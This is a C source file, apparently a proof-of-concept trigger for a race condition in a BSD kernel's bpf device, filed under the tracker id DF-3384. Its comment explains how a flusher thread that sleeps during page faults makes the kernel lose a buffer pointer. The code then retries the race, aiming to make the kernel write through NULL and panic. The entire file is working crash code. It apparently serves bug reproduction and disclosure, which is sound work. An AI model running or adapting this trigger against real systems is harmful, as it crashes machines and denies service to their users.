DF-3384 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 | /* * DF-3384 PoC v4 — cold file-backed pages: bpfread()'s uiomove() copies the * ~512KiB hold buffer into never-touched pages of a file that was just * written past RAM size (evicted from the page cache). Each of the ~128 * page faults performs disk I/O, the reader thread SLEEPS (bpf_token * released), and the spamming BIOCFLUSH thread lands in that window: * * bpf_resetd(): bd_fbuf = bd_hbuf; bd_hbuf = NULL; * reader wakes: bd_fbuf = bd_hbuf (NULL) <-- buffer pointer LOST * next immediate read rotates: bd_sbuf := bd_fbuf := NULL * next loopback packet: catchpacket() writes bpf_hdr through NULL * * Expected: panic (kernel fault on write at vaddr 0). */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/socket.h> #include <net/bpf.h> #include <net/if.h> #include <netinet/in.h> #include <err.h> #include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define BUFSZ 0x80000 static int sendsock = -1; static struct sockaddr_in sin; static int coldfd; static void send_pkt(int n) { char pkt[1400]; int i; if (sendsock < 0) { sendsock = socket(AF_INET, SOCK_DGRAM, 0); if (sendsock < 0) err(1, "socket"); } memset(pkt, 0x44, sizeof(pkt)); for (i = 0; i < n; i++) if (sendto(sendsock, pkt, sizeof(pkt), 0, (struct sockaddr *)&sin, sizeof(sin)) < 0) err(1, "sendto"); } static int fd; static volatile int stop_spam; static void * flusher(void *arg) { while (!stop_spam) ioctl(fd, BIOCFLUSH); return (NULL); } static void bindif(int f, const char *name) { struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); if (ioctl(f, BIOCSETIF, &ifr) < 0) err(1, "BIOCSETIF(%s)", name); } int main(void) { u_int big = BUFSZ, one = 1; int attempt; char *rb; pthread_t th; memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(9997); sin.sin_addr.s_addr = htonl(0x7f000001); coldfd = open("/root/poc/cold", O_RDWR); if (coldfd < 0) err(1, "open cold file"); for (attempt = 1; attempt <= 40; attempt++) { stop_spam = 0; fd = open("/dev/bpf", O_RDWR); if (fd < 0) err(1, "open /dev/bpf (attempt %d)", attempt); if (ioctl(fd, BIOCSBLEN, &big) < 0) err(1, "BIOCSBLEN"); bindif(fd, "lo0"); ioctl(fd, BIOCIMMEDIATE, &one); /* fresh 512KiB window of cold file pages */ rb = mmap(NULL, big, PROT_READ | PROT_WRITE, MAP_SHARED, coldfd, (off_t)(attempt - 1) * big); if (rb == MAP_FAILED) err(1, "mmap attempt %d", attempt); send_pkt(400); /* rotate: hold buffer ~512KiB */ if (pthread_create(&th, NULL, flusher, NULL) != 0) err(1, "pthread_create"); if (read(fd, rb, big) < 0) err(1, "read#1"); stop_spam = 1; pthread_join(th, NULL); send_pkt(1); if (read(fd, rb, big) < 0) err(1, "read#2"); printf("[+] attempt %d: final packet\n", attempt); fflush(stdout); send_pkt(1); usleep(50000); printf("[-] attempt %d survived\n", attempt); fflush(stdout); close(fd); munmap(rb, big); } printf("[-] no panic\n"); return (0); } |